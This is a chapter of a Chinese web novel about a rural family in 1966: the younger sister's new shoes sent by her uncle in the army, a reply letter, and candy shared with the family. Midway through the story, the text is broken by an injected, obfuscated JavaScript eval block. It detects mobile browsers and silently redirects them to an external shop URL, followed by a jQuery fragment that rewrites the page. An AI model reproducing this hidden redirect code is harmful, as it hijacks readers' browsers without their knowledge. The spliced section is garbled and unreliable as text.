母亲同意熙熙去考学之后，家里反倒安静了。
熙熙不再提上学的事，每天吃完饭就回屋写字，一笔一划，写得慢了，但字比以前周正。周老师说她进步快，再练半个月，考试没问题。
念念也不缠着熙熙玩了，她知道姐姐要“考试”，虽然不知道考试是什么，但看熙熙认真的样子，也跟着安静了些。每天蹲在灶房门口，拿小棍子在地上画，画完了叫林晨看。
“哥，你看。”
林晨走过去，地上画了一个人，胳膊腿都是棍子，头是圆的，头发是几根线。
“这是谁？”
“姐。”念念指着那个小人，“姐在写字。”
林晨笑了。地上那个小人手里拿着一根棍子，棍子下面画了几个圈，大概是字。
“念念画得真好。”
念念得意了，又画了一个，这个手里面没有棍子，蹲在地上。
“这是谁？”
“念念。”念念说，“念念在看姐写字。”
林晨蹲下来，摸了摸她的头。
“念念，以后你也要上学。”
“上学干啥？”
“学了字，就能看书，就能当老师。”
念念想了想：“我不当老师，我要当锅锅。”
林晨愣了一下：“当哥？”
“嗯。”念念点头，“当哥可以下地，可以挣钱，可以给念念买糖。”
林晨笑了，眼眶有点热。
“念念，哥不用你当。你好好长大就行。”
念念不明白，但她看见林晨笑，也跟着笑了。
下地的时候，李叔问他：“你熙熙要考学？”
“嗯。”
“好事。”李叔扛着锄头，走得快，“考上就是吃公家饭的，你妈能松口气。”
“还没考呢。”
“能考上。”李叔说得笃定，“那丫头聪明，随你爸。”
林晨没接话。
南坡的玉米出苗了。一行一行，嫩绿嫩绿的，叶子还卷着，没完全展开。林晨蹲下来，用手指轻轻碰了碰，叶子软软的，像刚出生的婴儿的手。
“今年苗出得齐。”李叔站在地头，抽旱烟，“雨水好，底肥足，秋天能有个好收成。”
林晨站起来，看着那一地嫩苗，心里算着日子。再过几个月，就能收了。队上分粮，加上空间里的存粮，冬天应该够吃了。
中午收工回家，念念又坐在门槛上等他。
“哥，今天有信。”
林晨心里一动：“谁的？”
“二鼠的。”念念举着一个信封，上面印着“义务兵免费”的红字。
林晨接过信，走进灶房。母亲正在切菜，熙熙在写字，念念跟在他后面，踮着脚尖想看。
“妈，二叔来信了。”
母亲放下刀，在围裙上擦了擦手。
林晨拆开信，念出声。
“秀兰嫂，见字如面。部队最近忙，一直没空写信。上次寄的钱收到了吗？家里缺啥别省着。念念大了，该添衣裳了。我给念念买了一双棉鞋，随信寄去。林晨下地别太拼，伤了身子不值当。国栋，1966年4月。”
林晨念完了，从信封里倒出一双小棉鞋。
鞋是买的，不是做的。灯芯绒面，枣红色，鞋口镶着一圈白毛边，鞋底是橡胶的，不像奶奶做的布鞋，软塌塌的。
念念眼睛亮了。
“鞋！”
她伸手去拿，林晨递给她。念念抱着鞋，翻来覆去地看，摸摸鞋面，摸摸毛边，又凑到鼻子底下闻了闻。
“好闻。”
母亲接过鞋，看了看，鞋码不大，刚好念念能穿。
“你二叔有心了。”母亲把鞋放在炕沿上，“念念，试一下。”
念念脱下自己的旧鞋——奶奶做的那双布鞋，鞋头已经磨破了——把脚伸进新鞋里。鞋子刚好，不大不小，脚踝处包得严严实实。
“妈，好看不？”念念站起来，走了两步。
“好看。”
念念低头看着脚上的鞋，又走了两步，踢踢踏踏的，鞋底打在泥地上，啪嗒啪嗒。
“哥，你看。”她抬脚给林晨看。
“看见了。”
“二鼠买的。”念念说，“二鼠好。”
林晨蹲下来，把念念的裤腿放下，盖住鞋口。
“念念，别踩泥里。”
“我不踩。”念念说着，已经在院子里走了好几个来回，专门挑干的地方走。
熙熙在旁边看着，笑了：“念念，你晚上睡觉要不要也穿着？”
“要。”念念认真地说。
母亲把信纸折好，放回信封里。
“晨儿，给你二叔回封信，就说家里都好，让他别惦记。”
“好。”
“再跟他说，别乱花钱。念念有鞋穿。”
林晨点了点头。
下午，林晨没下地。他坐在院子里，拿笔写信。笔是熙熙的，铅笔，用得只剩一小截，他握着有点费劲。
“二叔，见字如面。家里都好。你寄的钱收到了，布票也收到了。妈让我跟你说，别乱花钱，家里不缺什么。”
他写到这里，停了一下。不缺什么？缺。但二叔一个人在部队，也不容易。
“念念的鞋收到了，她很喜欢。念念现在会说很多话了，还会叫‘哥’了，不是‘锅锅’了。她还说‘二鼠好’，她叫你二鼠，因为还没学会‘叔’。”
林晨看着这几行字，笑了一下。
“熙熙下个月要去公社考学，周老师说能考上。妈同意了。爷爷的腿还是老样子，孙大爷给了膏药，贴着好一点。”
他想了想，又加了一句。
“二叔，你放心，我会把家撑起来。”
写完，他把信纸折好，装进信封。信封上没有邮票，二叔是义务兵，来信不用贴邮票，他去信也不用。但要把信封写好，写上二叔的部队地址。
林晨把信封揣进口袋，明天去公社寄。
傍晚，念念穿着新鞋在院子里走来走去，舍不得脱。母亲喊她吃饭，她跑进灶房，先低头看了看鞋，才爬上凳子。
“念念，吃饭了，别看鞋了。”熙熙把碗推到她面前。
念念低头喝糊糊，喝了一口，又低头看鞋。
“念念。”母亲喊她。
“在看鞋。”
“鞋跑不了。”
念念“哦”了一声，专心喝糊糊。
吃完饭，念念坐在炕沿上，把脚伸得直直的，盯着鞋看。
“妈，晚上我能穿着睡吗？”
“不能。”
“为什么？”
“鞋会脏。”
“我不动。”
母亲看了她一眼，没接话。念念自己想了想，觉得晚上睡觉确实会动，就不坚持了。她把鞋脱下来，放在枕头边上，又摸了摸鞋面上的毛边，才躺下。
夜里，林晨又进了空间。
土豆已经阴干了，他一个一个地码在木屋的架子上，码了三层，整整齐齐。玉米粒也装了几袋，堆在墙角。
林晨站在木屋门口，看了看这一屋子的粮食，心里踏实。
他走到井边，喝了三捧水，灌了竹筒，出来，兑进水壶。
躺在炕上，念念已经睡着了。小手攥着枕头边上的新鞋的鞋带，像是怕被人拿走。
林晨看着念念，想起二叔信里写的——“念念大了，该添衣裳了。”
二叔人在部队，心在家里。他记得念念的鞋码，记得家里缺什么，嘴上不说，钱和东西都寄回来了。
林晨闭上眼。
他想起前世二叔转业后，帮了他很多。他那时候不懂事，觉得二叔管得多，烦。
这一世，他要把这些好，都记着。
第二天早上，念念醒来第一件事，就是摸枕头边上的鞋。
还在。
她松了一口气，把鞋抱在怀里，坐起来。
“妈，我今天穿新鞋。”
“穿吧。”
念念自己穿鞋，穿好了，站起来，走到灶房门口。
“哥，我今天跟你下地。”
“下地干啥？”
“我帮你捡石头。”
林晨看着她脚上的新鞋，想说不行，鞋会脏。但念念的眼巴巴地看着他，话到嘴边又咽了回去。
“行，但你跟着我，别乱跑。”
“我不乱跑。”
吃完饭，林晨扛着锄头，念念跟在后面。她走得慢，每一步都低头看路，专挑干的地方踩，避开泥坑和水洼。
“念念，你走快点。”
“我在走。”念念加快了脚步，但还是低头看路。
村口老榆树下，老队长看见念念脚上的新鞋，笑了。
“念念，新鞋？”
“嗯，二鼠买的。”
“二鼠是谁？”
“二鼠是二叔。”念念一本正经地解释，“他不会说‘叔’。”
老队长笑出声来。
李叔在旁边也笑了：“你妹有意思。”
林晨笑了笑，牵着念念往南坡走。
到了地里，念念蹲在地头，不捡石头，也不画圈，就低头看鞋。看了一会儿，又站起来走了两步，低头看看，再坐下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508792|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“念念，你到底是来捡石头的还是来看鞋的？”
“看鞋。”念念头都不抬。
林晨摇了摇头，开始锄地。
今天活不多，玉米出苗了，要锄草。他蹲在地里，一棵一棵地拔草。草不多，但得拔干净，不然跟玉米抢肥。
念念蹲在地头，看了一会儿鞋，看了一会儿林晨。
“哥，你累不累？”
“不累。”
“等我长大了，我帮你锄地。”
林晨抬头看了她一眼：“你长大再说。”
“我很快就长大了。”念念站起来，比划了一下，“长到锅锅这么高。”
林晨笑了，低头继续拔草。
中午收工的时候，念念的鞋上沾了一点土。她蹲下来，拿手擦了擦，擦不掉，有点着急。
“哥，脏了。”
“回去给你擦。”
“现在就擦。”
“没带布。”
念念看着鞋上的土，想了想，拿袖子擦了擦。袖子是棉布的，擦了一下，土掉了，但留下了一道水印。
念念看着那道水印，皱了皱眉。
“回去了。”林晨喊她。
念念站起来，低头看了看鞋，又看了看路，选了一条最干净的路，小步小步地走。
林晨扛着锄头跟在后面，看着她一小步一小步地挪，忍不住笑了。
院门口，母亲在收衣裳。
“妈，鞋脏了。”念念跑过去，抬脚给母亲看。
母亲低头看了看，鞋面上只有一点点土，几乎看不出来。
“哪儿脏了？”
“这儿。”念念指着那道水印。
母亲蹲下来，拿袖子擦了擦，水印没了。念念低头看了看，满意了。
“好了。”
“进去吃饭。”母亲站起来。
念念跑进灶房，爬到凳子上坐好。林晨跟在后面，把锄头靠在墙边。
“妈，下午我去公社寄信。”
“去吧。”
“要不要买什么？”
母亲想了想：“买二两盐。”
“好。”
下午，林晨揣着信，去公社寄。
路过收购站，他停了一下。门口没人，柜台里那个戴眼镜的中年人不在。
林晨没进去，直接去了邮局。
邮局在公社大街的另一头，一间小土坯房，门口挂着一个绿色的邮筒。他走进去，把信交给柜台后面的老大爷。
“寄哪儿的？”
林晨报了二叔的部队地址。老大爷看了看信封，盖上邮戳，扔进身后的袋子里。
“行了。”
“多少钱？”
“义务兵的信，不要钱。”
林晨道了谢，出了邮局。
他在供销社门口站了一会儿，进去买了二两盐，花了一毛二分钱。柜台上有水果糖，一分钱一块。他想了想，买了三块，用草纸包好，装进口袋。
回去的路上，他的步子比来时快了很多。
到家的时候，念念正蹲在院子里看蚂蚁。
“念念。”
念念抬头，看见林晨，跑过来。
“哥，你回来了。”
林晨从口袋里掏出草纸包，打开，里面是三块水果糖，红的绿的，糖纸亮晶晶的。
念念的眼睛一下子亮了。
“糖！”
“二叔寄钱买的。”林晨说，“二叔给你的。”
念念拿起一块糖，剥不开糖纸，急得直咬。林晨接过来，剥开，塞进她嘴里。
念念含住糖，眯起眼，腮帮子鼓起一个小包。
“田。”她含含糊糊地说。
“二鼠是不是好？”
“好。”念念点头，嘴里的糖换了个位置，“二鼠最好了。”
熙熙从屋里出来，看见念念吃糖，笑了。
“念念，给我吃一块。”
念念想了想，从草纸里拿了一块，递给熙熙。
“姐，给你。”
熙熙接过糖，剥开，放进嘴里。
“甜不甜？”念念问。
“甜。”熙熙笑了。
念念又拿了一块，跑进灶房，举给母亲。
“妈，你吃。”
“妈不吃。”
“你吃。”念念踮着脚尖，把糖举到母亲嘴边，“田的。”
母亲低头，含住糖，眼眶有点红。
念念不知道母亲为什么红了眼眶，她只知道糖很甜，二鼠很好，锅锅很好，姐很好，妈很好。
她站在灶房里，嘴里含着糖，觉得全世界都是甜的。